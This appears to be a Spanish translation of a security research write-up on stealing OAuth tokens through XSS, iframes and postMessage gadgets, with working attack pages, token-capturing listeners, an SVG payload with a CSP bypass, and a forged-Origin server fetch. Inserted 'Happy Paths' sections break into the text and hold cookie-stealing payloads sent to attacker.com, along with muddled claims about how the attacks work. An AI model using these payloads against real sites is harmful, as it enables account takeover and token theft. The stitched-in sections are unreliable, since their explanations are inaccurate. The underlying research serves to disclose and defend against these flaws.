## **Gadget 2: ejemplo 1, robando window.name de un iframe de sandbox**
|
||||
|
||||
Este tenía un **iframe** cargado en la **página donde terminó la danza de OAuth**. El **nombre** del **iframe** era una **versión JSON-stringified del objeto `window.location`**. Esta es una forma antigua de transferir datos entre dominios, ya que la página en el iframe puede obtener su propio `window.name` establecido por el padre:
|
||||
```javascript
|
||||
i = document.createElement('iframe');
|
||||
i.name = JSON.stringify(window.location)
|
||||
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
|
||||
document.body.appendChild(i)
|
||||
```
|
||||
El dominio cargado en el **iframe también tenía un XSS simple**:
|
||||
```
|
||||
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
|
||||
```
|
||||
### Ataque
|
||||
|
||||
Si tienes un **XSS** en un **dominio** en una ventana, esta ventana puede luego **acceder a otras ventanas de la misma origen** si hay una relación de padre/hijo/opener entre las ventanas.
|
||||
|
||||
Esto significa que un atacante podría **explotar el XSS para cargar una nueva pestaña** con el **enlace OAuth creado** que terminará en la **ruta que carga el iframe con el token en el nombre**. Luego, desde la página explotada por XSS, será posible **leer el nombre del iframe** porque tiene un **opener sobre la página principal del iframe** y exfiltrarlo.
|
||||
|
||||
Más específicamente:
|
||||
|
||||
1. Crear una página maliciosa que incruste un iframe del sandbox con el XSS cargando mi propio script:
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
|
||||
x=createElement('script'),
|
||||
x.src='//attacker.test/inject.js',
|
||||
document.body.appendChild(x);"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
2. En mi script cargado en el sandbox, reemplacé el contenido con el enlace a usar para la víctima:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML =
|
||||
'<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Haz clic aquí para secuestrar el token</a>';
|
||||
```
|
||||
|
||||
También inicié un script en un intervalo para verificar si se abrió el enlace y si el iframe que quería alcanzar está allí para obtener el `window.name` establecido en el iframe con la misma origen que el iframe en la página del atacante:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(parent.window.b &&
|
||||
parent.window.b.frames[0] &&
|
||||
parent.window.b.frames[0].window &&
|
||||
parent.window.b.frames[0].window.name) {
|
||||
top.postMessage(parent.window.b.frames[0].window.name, '*');
|
||||
parent.window.b.close();
|
||||
clearInterval(x);
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
3. La página del atacante puede simplemente escuchar el mensaje que acabamos de enviar con el `window.name`:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'Robamos el token: ' + e.data;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## **Gadget 2: ejemplo 2, iframe con XSS + comprobación de origen del padre**
|
||||
|
||||
El segundo ejemplo fue un **iframe** cargado en el **camino no feliz** con un XSS **usando postMessage**, pero **solo se permitieron mensajes desde el `padre`** que lo cargó. La **`location.href` se envió al iframe cuando solicitó `initConfig`** en un mensaje a la ventana `padre`.
|
||||
|
||||
La ventana principal cargó el iframe de esta manera:
|
||||
```html
|
||||
<iframe src="https://challenge-iframe.example.com/"></iframe>
|
||||
```
|
||||
# OAuth Happy Paths: XSS, iframes and post messages to leak code and state values
|
||||
|
||||
## Introduction
|
||||
|
||||
In this section we will see how to exploit some happy paths of OAuth to leak code and state values. We will use XSS, iframes and post messages to achieve this.
|
||||
|
||||
## OAuth Happy Paths
|
||||
|
||||
### Authorization Code Grant
|
||||
|
||||
#### Step 1: User Authorization
|
||||
|
||||
The first step of the Authorization Code Grant flow is to redirect the user to the authorization server. This is usually done by sending the user to a URL like this:
|
||||
|
||||
```
|
||||
https://auth-server.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&state=STATE
|
||||
```
|
||||
|
||||
The `response_type` parameter is set to `code`, which means that the authorization server will return an authorization code to the client. The `client_id` parameter is the ID of the client application that is requesting authorization. The `redirect_uri` parameter is the URL that the authorization server will redirect the user to after the user has authorized the request. The `state` parameter is a random value that is generated by the client application and is used to prevent CSRF attacks.
|
||||
|
||||
#### Step 2: Authorization Code Exchange
|
||||
|
||||
Once the user has authorized the request, the authorization server will redirect the user to the `redirect_uri` specified in the previous step. The authorization code will be included in the query string of the URL:
|
||||
|
||||
```
|
||||
https://client-app.com/callback?code=AUTHORIZATION_CODE&state=STATE
|
||||
```
|
||||
|
||||
The client application can then exchange the authorization code for an access token by sending a POST request to the authorization server:
|
||||
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
Host: auth-server.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=REDIRECT_URI&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
|
||||
```
|
||||
|
||||
The `grant_type` parameter is set to `authorization_code`, which indicates that the client application is exchanging an authorization code for an access token. The `code` parameter is the authorization code that was received in the previous step. The `redirect_uri` parameter must match the `redirect_uri` that was used in the previous step. The `client_id` and `client_secret` parameters are the credentials of the client application.
|
||||
|
||||
### Exploiting the Happy Paths
|
||||
|
||||
#### XSS
|
||||
|
||||
One way to exploit the Authorization Code Grant flow is to inject an XSS payload into the `state` parameter of the authorization request. When the authorization server redirects the user back to the client application, the XSS payload will be executed in the context of the client application.
|
||||
|
||||
For example, if the client application is vulnerable to XSS and the attacker injects the following payload into the `state` parameter:
|
||||
|
||||
```
|
||||
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
|
||||
```
|
||||
|
||||
The attacker will be able to steal the user's session cookie when the user is redirected back to the client application.
|
||||
|
||||
#### Iframes
|
||||
|
||||
Another way to exploit the Authorization Code Grant flow is to use an iframe to load the authorization server's login page. When the user logs in, the authorization server will set a cookie that is scoped to the authorization server's domain. The client application can then use JavaScript to read the cookie and send it to the attacker's server.
|
||||
|
||||
For example, the attacker can create an iframe that loads the authorization server's login page:
|
||||
|
||||
```
|
||||
<iframe src="https://auth-server.com/login"></iframe>
|
||||
```
|
||||
|
||||
When the user logs in, the authorization server will set a cookie that is scoped to the `auth-server.com` domain. The attacker can then use JavaScript to read the cookie and send it to their server:
|
||||
|
||||
```
|
||||
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
|
||||
```
|
||||
|
||||
#### Post Messages
|
||||
|
||||
A third way to exploit the Authorization Code Grant flow is to use post messages to communicate between the client application and the authorization server. The client application can use post messages to send the authorization code to the attacker's server.
|
||||
|
||||
For example, the attacker can create an iframe that loads the client application:
|
||||
|
||||
```
|
||||
<iframe src="https://client-app.com"></iframe>
|
||||
```
|
||||
|
||||
When the user authorizes the request, the authorization server will redirect the user back to the client application. The client application can then use post messages to send the authorization code to the attacker's server:
|
||||
|
||||
```
|
||||
<script>
|
||||
window.addEventListener('message', function(event) {
|
||||
if (event.origin === 'https://client-app.com') {
|
||||
var authorizationCode = event.data.authorizationCode;
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', 'https://attacker.com/steal.php', true);
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('authorizationCode=' + authorizationCode);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## Conclusion
|
||||
|
||||
In this section we have seen how to exploit some happy paths of OAuth to leak code and state values. We have used XSS, iframes and post messages to achieve this. It is important to note that these attacks can be prevented by properly validating and sanitizing user input, and by using secure coding practices.
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.source !== window.parent) {
|
||||
// not a valid origin to send messages
|
||||
return;
|
||||
}
|
||||
if (e.data.type === 'loadJs') {
|
||||
loadScript(e.data.jsUrl);
|
||||
} else if (e.data.type === 'initConfig') {
|
||||
loadConfig(e.data.config);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
### Ataque
|
||||
|
||||
En este caso, el **atacante carga un iframe con la página de vulnerabilidad XSS de post-message**, y **explota** el **XSS** para cargar **JS arbitrario**. Este **JS** abrirá una **pestaña** con el **enlace OAuth**. Después de iniciar sesión, la página final contiene el token en la URL y ha cargado un iframe (el iframe de vulnerabilidad XSS post-message).
|
||||
|
||||
Luego, el **JS arbitrario** (del XSS explotado) tiene un **abridor para esa pestaña**, por lo que **accede al iframe** y lo hace **pedir al padre el `initConfig`** (que contiene la **URL con el token**). La página principal **se lo da al iframe**, que también se le ordena que lo **filtre**.
|
||||
|
||||
En este caso, podría hacer un método similar al ejemplo anterior:
|
||||
|
||||
1. Crear una **página maliciosa** que incruste un **iframe** del sandbox, adjuntar un **onload** para **activar un script cuando se cargue el iframe**.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://challenge-iframe.example.com/"
|
||||
onload="run()"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
2. Como la **página maliciosa es entonces el padre** del iframe, podría **enviar un mensaje al iframe para cargar nuestro script** en el origen del sandbox usando **postMessage (XSS)**:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
|
||||
}
|
||||
</script>
|
||||
```
|
||||
3. En mi script que se carga en el sandbox, reemplacé el contenido con el **enlace para la víctima**:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML = '<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Haz clic aquí para secuestrar el token</a>';
|
||||
```
|
||||
|
||||
También inicié un script en un intervalo para **verificar si se abrió el enlace y si estaba allí el iframe que quería alcanzar**, para ejecutar javascript dentro de él desde mi iframe a la ventana principal. Luego adjunté un oyente de postMessage que pasó el mensaje de vuelta a mi iframe en la ventana maliciosa:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(b && b.frames[1]) {
|
||||
b.frames[1].eval(
|
||||
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
|
||||
'top.postMessage({type:'initConfig'},"*")'
|
||||
)
|
||||
clearInterval(x)
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
4. La página del atacante que tenía el iframe cargado puede luego escuchar el mensaje que envié desde el proxy de oyente de postMessage inyectado en el iframe de la ventana principal:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## Gadget 3: Usando APIs para obtener URL fuera de límites
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
|
||||
|
||||
 
|
||||
|
||||
Este gadget resultó ser el más divertido. Hay algo satisfactorio en enviar a la víctima a algún lugar y luego recoger datos sensibles de una ubicación diferente.
|
||||
|
||||
## **Gadget 3: ejemplo 1, iframe de almacenamiento sin verificación de origen**
|
||||
|
||||
El primer ejemplo utilizó un servicio externo para datos de seguimiento. Este servicio agregó un "iframe de almacenamiento":
|
||||
```html
|
||||
<iframe
|
||||
id="tracking"
|
||||
name="tracking"
|
||||
src="https://cdn.customer1234.analytics.example.com/storage.html">
|
||||
</iframe>
|
||||
```
|
||||
La ventana principal se comunicaría con este iframe usando postMessage para enviar datos de seguimiento que se guardarían en el localStorage del origen donde se encontraba `storage.html`:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
|
||||
```
|
||||
La ventana principal también podría obtener este contenido:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
|
||||
```
|
||||
Cuando se cargó el iframe en la inicialización, se guardó una clave para la última ubicación del usuario utilizando `location.href`:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
|
||||
```
|
||||
Si pudieras comunicarte con este origen de alguna manera y hacer que te envíe el contenido, se podría obtener el `location.href` de este almacenamiento. El oyente de postMessage para el servicio tenía una lista de bloqueo y una lista de permitidos de orígenes. Parece que el servicio de análisis permitía que el sitio web definiera qué orígenes permitir o denegar:
|
||||
```javascript
|
||||
var blockList = [];
|
||||
var allowList = [];
|
||||
var syncListeners = [];
|
||||
|
||||
window.addEventListener('message', function(e) {
|
||||
// If there's a blockList, check if origin is there and if so, deny
|
||||
if (blockList && blockList.indexOf(e.origin) !== -1) {
|
||||
return;
|
||||
}
|
||||
// If there's an allowList, check if origin is there, else deny
|
||||
if (allowList && allowList.indexOf(e.origin) == -1) {
|
||||
return;
|
||||
}
|
||||
// Only parent can talk to it
|
||||
if (e.source !== window.parent) {
|
||||
return;
|
||||
}
|
||||
handleMessage(e);
|
||||
});
|
||||
|
||||
function handleMessage(e) {
|
||||
if (data.type === 'sync') {
|
||||
syncListeners.push({source: e.source, origin: e.origin})
|
||||
} else {
|
||||
...
|
||||
}
|
||||
|
||||
window.addEventListener('storage', function(e) {
|
||||
for(var i = 0; i < syncListeners.length; i++) {
|
||||
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
|
||||
}
|
||||
}
|
||||
```
|
||||
Además, si tuvieras un origen válido basado en la `allowList`, también podrías solicitar una sincronización, lo que te daría cualquier cambio realizado en el localStorage en esta ventana enviado a ti cuando se realizaron.
|
||||
|
||||
### Ataque
|
||||
|
||||
En el sitio web que tenía este almacenamiento cargado en el camino no feliz de la danza de OAuth, no se definieron orígenes de `allowList`; **esto permitió que cualquier origen hablara con el oyente de postMessage** si el origen era el `parent` de la ventana:
|
||||
|
||||
1. Creé una página maliciosa que incrustaba un iframe del contenedor de almacenamiento y adjuntaba un onload para activar un script cuando se cargaba el iframe.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/storage.html"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
2. Como la página maliciosa era ahora el padre del iframe, y no se definieron orígenes en la `allowList`, la página maliciosa podía enviar mensajes al iframe para decirle al almacenamiento que enviara mensajes para cualquier actualización del almacenamiento. También podría agregar un oyente a la página maliciosa para escuchar cualquier actualización de sincronización del almacenamiento:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'sync'}, '*')
|
||||
}
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data && e.data.type === 'sync') {
|
||||
document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
3. La página maliciosa también contendría un enlace regular para que la víctima hiciera clic:
|
||||
|
||||
```html
|
||||
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
|
||||
target="_blank">Haz clic aquí para secuestrar el token</a>';
|
||||
```
|
||||
4. La víctima haría clic en el enlace, pasaría por la danza de OAuth y terminaría en el camino no feliz cargando el script de seguimiento y el iframe de almacenamiento. El iframe de almacenamiento recibe una actualización de `last-url`. El evento `window.storage` se activaría en el iframe de la página maliciosa ya que se actualizó el localStorage, y la página maliciosa que ahora recibía actualizaciones cada vez que cambiaba el almacenamiento recibiría un postMessage con la URL actual de la víctima:
|
||||
|
||||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Gadget 3: ejemplo 2, mezcla de clientes en CDN - DIY storage-SVG sin verificación de origen**
|
||||
|
||||
Como el servicio de análisis en sí mismo tenía una recompensa por errores, también estaba interesado en ver si podía encontrar una manera de filtrar URLs también para los sitios web que habían configurado orígenes adecuados para el iframe de almacenamiento.
|
||||
|
||||
Cuando comencé a buscar el dominio `cdn.analytics.example.com` en línea sin la parte del cliente, noté que este CDN también contenía imágenes cargadas por los clientes del servicio:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||||
https://cdn.analytics.example.com/img/customer21131/test.png
|
||||
```
|
||||
También noté que había archivos SVG servidos en línea como `Content-type: image/svg+xml` en este CDN:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
|
||||
```
|
||||
Me registré como usuario de prueba en el servicio y subí mi propio activo, que también apareció en la CDN:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
La parte interesante fue que, si luego usabas el subdominio específico del cliente para el CDN, la imagen seguía siendo servida. Esta URL funcionó:
|
||||
```
|
||||
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
Esto significaba que el cliente con ID #94342 podía renderizar archivos SVG en el almacenamiento del cliente #12345.
|
||||
|
||||
Subí un archivo SVG con un payload XSS simple:
|
||||
|
||||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:,alert(document.domain)"></script>
|
||||
</svg>
|
||||
```
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||||
|
||||
No muy bien. El CDN agregó un encabezado `Content-Security-Policy: default-src 'self'` a todo lo que estaba bajo `img/`. También se podía ver que el encabezado del servidor mencionaba S3, revelando que el contenido se había cargado en un bucket de S3:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
|
||||
|
||||
Una peculiaridad interesante de S3 es que los directorios no son realmente directorios en S3; la ruta antes de la clave se llama "prefijo". Esto significa que a S3 no le importa si los `/` están codificados en URL o no, aún servirá el contenido si se codifica en URL cada barra diagonal en la URL. Si cambiara `img/` a `img%2f` en la URL, la imagen seguiría resolviéndose. Sin embargo, en ese caso se eliminó el encabezado CSP y se activó el XSS:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
|
||||
|
||||
Luego pude cargar un SVG que crearía la misma forma de controlador de almacenamiento y oyente de postMessage como el `storage.html` regular, pero con una lista de permitidos vacía. Eso me permitió hacer el mismo tipo de ataque incluso en sitios web que habían definido correctamente los orígenes permitidos que podían hablar con el almacenamiento.
|
||||
|
||||
Cargué un SVG que se veía así:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||||
</svg>
|
||||
```
|
||||
Entonces, podría utilizar la misma metodología que en el ejemplo #1, pero en lugar de insertar el `storage.html` en un iframe, simplemente podría insertar el SVG con la barra diagonal codificada en la URL:
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
Dado que ningún sitio web sería capaz de solucionar esto por sí mismo, envié un informe al proveedor de análisis encargado del CDN en su lugar:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||||
|
||||
La idea de buscar errores de configuración en terceros era principalmente para confirmar que hay múltiples formas de lograr la filtración de tokens y, dado que el tercero tenía un programa de recompensas por errores, esto era solo un receptor diferente para el mismo tipo de error, la diferencia era que el impacto era para todos los clientes del servicio de análisis. En este caso, el cliente del tercero realmente tenía la capacidad de configurar adecuadamente la herramienta para evitar que filtrara datos al atacante. Sin embargo, dado que los datos sensibles aún se enviaban al tercero, era interesante ver si había alguna forma de evitar por completo la configuración adecuada de la herramienta por parte del cliente.
|
||||
|
||||
## **Gadget 3: ejemplo 3, API de chat-widget**
|
||||
|
||||
El último ejemplo se basó en un chat-widget que estaba presente en todas las páginas de un sitio web, incluso en las páginas de error. Había varios listeners de postMessage, uno de ellos sin una verificación de origen adecuada que solo permitía iniciar la ventana emergente de chat. Otro listener tenía una estricta verificación de origen para que el chat-widget recibiera una llamada de inicialización y el token de chat-api actual que se usaba para el usuario actual.
|
||||
```html
|
||||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.data.type === 'launch-chat') {
|
||||
openChat();
|
||||
}
|
||||
});
|
||||
|
||||
function openChat() {
|
||||
...
|
||||
}
|
||||
|
||||
var chatApiToken;
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.origin === 'https://chat-widget.example.com') {
|
||||
if (e.data.type === 'chat-widget') {
|
||||
if (e.data.key === 'api-token') {
|
||||
chatApiToken = e.data.value;
|
||||
}
|
||||
if(e.data.key === 'init') {
|
||||
chatIsLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function chatIsLoaded() {
|
||||
...
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Cuando se cargó el chat-iframe:
|
||||
|
||||
1. Si existía un chat-api-token en el localStorage del chat-widget, enviaría el api-token a su padre usando postMessage. Si no existía ningún chat-api-token, no enviaría nada.
|
||||
2. Cuando el iframe se ha cargado, enviará un postMessage con `{"type": "chat-widget", "key": "init"}` a su padre.
|
||||
|
||||
Si se hizo clic en el icono de chat en la ventana principal:
|
||||
|
||||
1. Si no se había enviado ningún chat-api-token, el chat-widget crearía uno y lo pondría en el localStorage de su propia origen y lo enviaría por postMessage a la ventana principal.
|
||||
2. La ventana principal haría una llamada API al servicio de chat. El punto final de la API estaba restringido por CORS al sitio web específico configurado para el servicio. Tenía que proporcionar un encabezado `Origin` válido para la llamada API con el chat-api-token para permitir que se enviara la solicitud.
|
||||
3. La llamada API desde la ventana principal contendría `location.href` y lo registraría como la "página actual" del visitante con el chat-api-token. La respuesta luego contendría tokens para conectarse a un websocket para iniciar la sesión de chat:
|
||||
|
||||
```json
|
||||
{
|
||||
"api_data": {
|
||||
"current_page": "https://example.com/#access_token=test",
|
||||
"socket_key": "xxxyyyzzz",
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
En este ejemplo, me di cuenta de que el anuncio del chat-api-token siempre se anunciaría al padre del iframe del chat-widget, y si obtuviera el chat-api-token, podría hacer una solicitud del lado del servidor usando el token y luego agregar mi propio encabezado `Origin` artificial a la llamada API ya que un encabezado CORS solo importa para un navegador. Esto resultó en la siguiente cadena:
|
||||
|
||||
1. Creé una página maliciosa que incrusta un iframe del chat-widget, agregué un listener de postMessage para escuchar el chat-api-token. Además, activé un evento para volver a cargar el iframe si no había obtenido el api-token en 2 segundos. Esto fue para asegurarme de que también apoyaba a las víctimas que nunca habían iniciado el chat, y como podía activar para abrir el chat de forma remota, primero necesitaba el chat-api-token para comenzar a sondear los datos en el chat-API desde el lado del servidor.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||||
<script>
|
||||
var gotToken = false;
|
||||
function reloadToCheck() {
|
||||
if (gotToken) return;
|
||||
setTimeout(function() {
|
||||
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
|
||||
}, 2000);
|
||||
}
|
||||
window.onmessage = function(e) {
|
||||
if (e.data.key === 'api-token') {
|
||||
gotToken = true;
|
||||
lookInApi(e.data.value);
|
||||
}
|
||||
}
|
||||
launchChatWindowByPostMessage();
|
||||
</script>
|
||||
```
|
||||
2. Agregué un enlace a la página maliciosa para abrir el flujo de inicio de sesión que terminaría en la página con el chat-widget con el token en la URL:
|
||||
|
||||
```
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Haz clic aquí para secuestrar el token</a>
|
||||
```
|
||||
3. La función `launchChatWindowByPostMessage()` enviará continuamente un postMessage a la ventana principal, si está abierta, para lanzar el chat-widget:
|
||||
|
||||
```javascript
|
||||
function launchChatWindowByPostMessage() {
|
||||
var launch = setInterval(function() {
|
||||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||||
}, 500);
|
||||
}
|
||||
```
|
||||
4. Cuando la víctima hizo clic en el enlace y terminó en la página de error, el chat se lanzaría y se crearía un chat-api-token. Mi recarga del chat-widget iframe en la página maliciosa obtendría el `api-token` a través de postMessage y luego podría comenzar a buscar en la API la URL actual de la víctima:
|
||||
|
||||
```javascript
|
||||
function lookInApi(token) {
|
||||
var look = setInterval(function() {
|
||||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||||
if (e &&
|
||||
e.api_data &&
|
||||
e.api_data.current_url &&
|
||||
e.api_data.current_url.indexOf('access_token') !== -1) {
|
||||
var payload = e.api_data.current_url
|
||||
document.getElementById('leak').innerHTML = 'El atacante ahora tiene el token: ' + payload;
|
||||
clearInterval(look);
|
||||
}
|
||||
});
|
||||
}, 2000);
|
||||
}
|
||||
```
|
||||
5. La página del lado del servidor en `https://fetch-server-side.attacker.test/?token=xxx` haría la llamada API con el encabezado Origin agregado para hacer que el Chat-API piense que lo estaba usando como un origen legítimo:
|
||||
|
||||
```javascript
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
async function getDataFromChatApi(token) {
|
||||
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
|
||||
}
|
||||
function handleRequest(request) {
|
||||
const token = request.url.match('token=([^&#]+)')[1] || null;
|
||||
return token ? getDataFromChatApi(token) : null;
|
||||
}
|
||||
```
|
||||
6. Cuando la víctima hizo clic en el enlace y pasó por la danza de OAuth y aterrizó en la página de error con el token agregado, el chat-widget se abriría de repente, registraría la URL actual y el atacante tendría el token de acceso de la víctima.
|
||||
|
||||
## Otras ideas para filtrar URLs
|
||||
|
||||
Todavía hay diferentes tipos de gadgets esperando ser encontrados. Aquí hay uno de esos casos que no pude encontrar en la naturaleza pero podría ser una forma potencial de hacer que la URL se filtre usando cualquiera de los modos de respuesta disponibles.
|
||||
|
||||
### Una página en un dominio que enruta cualquier postMessage a su abridor
|
||||
|
||||
Dado que todos los tipos de respuesta `web_message` no pueden validar ninguna ruta del origen, cualquier URL en un dominio válido puede recibir el postMessage con el token. Si hay algún tipo de proxy de listener de postMessage en cualquiera de las páginas en el dominio, que toma cualquier mensaje enviado a él y envía todo a su `opener`, puedo hacer una cadena doble de window.open:
|
||||
|
||||
Página del atacante 1:
|
||||
```html
|
||||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||||
```
|
||||
# Página del atacante 2:
|
||||
|
||||
## Happy Paths de OAuth
|
||||
|
||||
### XSS, iframes y postMessage para filtrar valores de código y estado
|
||||
|
||||
Una vez que el usuario ha iniciado sesión en el proveedor de OAuth y ha sido redirigido de vuelta a la aplicación de destino, el proveedor de OAuth enviará un código de autorización y un estado a la aplicación de destino. Estos valores son necesarios para que la aplicación de destino obtenga un token de acceso del proveedor de OAuth.
|
||||
|
||||
Un atacante puede intentar filtrar estos valores de código y estado utilizando técnicas de XSS, iframes y postMessage. El atacante puede crear una página web maliciosa que incluya un iframe que apunte a la URL de inicio de sesión del proveedor de OAuth. La página web maliciosa también puede incluir código JavaScript que se ejecutará en el contexto del iframe.
|
||||
|
||||
Cuando el usuario inicia sesión en el proveedor de OAuth a través del iframe, el código JavaScript malicioso puede leer el valor del código de autorización y del estado utilizando la API postMessage. El código JavaScript malicioso puede enviar estos valores a un servidor controlado por el atacante para su posterior uso en un ataque de toma de cuenta.
|
||||
|
||||
Es importante tener en cuenta que esta técnica solo funcionará si el proveedor de OAuth no ha implementado medidas de seguridad adecuadas, como la restricción de los dominios permitidos para la redirección de OAuth.
|
||||
```html
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||||
```
|
||||
Y el `https://example.com/postmessage-proxy` tendría algo como:
|
||||
```javascript
|
||||
// Proxy all my messages to my opener:
|
||||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||||
```
|
||||
Podría utilizar cualquiera de los modos de respuesta `web_message` para enviar el token desde el proveedor de OAuth hasta el origen válido de `https://example.com`, pero el punto final enviaría el token más adelante a `opener`, que es la página del atacante.
|
||||
|
||||
Este flujo puede parecer poco probable y requiere dos clics: uno para crear una relación de apertura entre el atacante y el sitio web, y el segundo para lanzar el flujo de OAuth teniendo el sitio legítimo como el abridor de la ventana emergente de OAuth.
|
||||
|
||||
El proveedor de OAuth envía el token al origen legítimo:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
|
||||
|
||||
Y el origen legítimo tiene el proxy de postMessage a su abridor:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
|
||||
|
||||
Lo que hace que el atacante obtenga el token:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
|
||||
|
||||
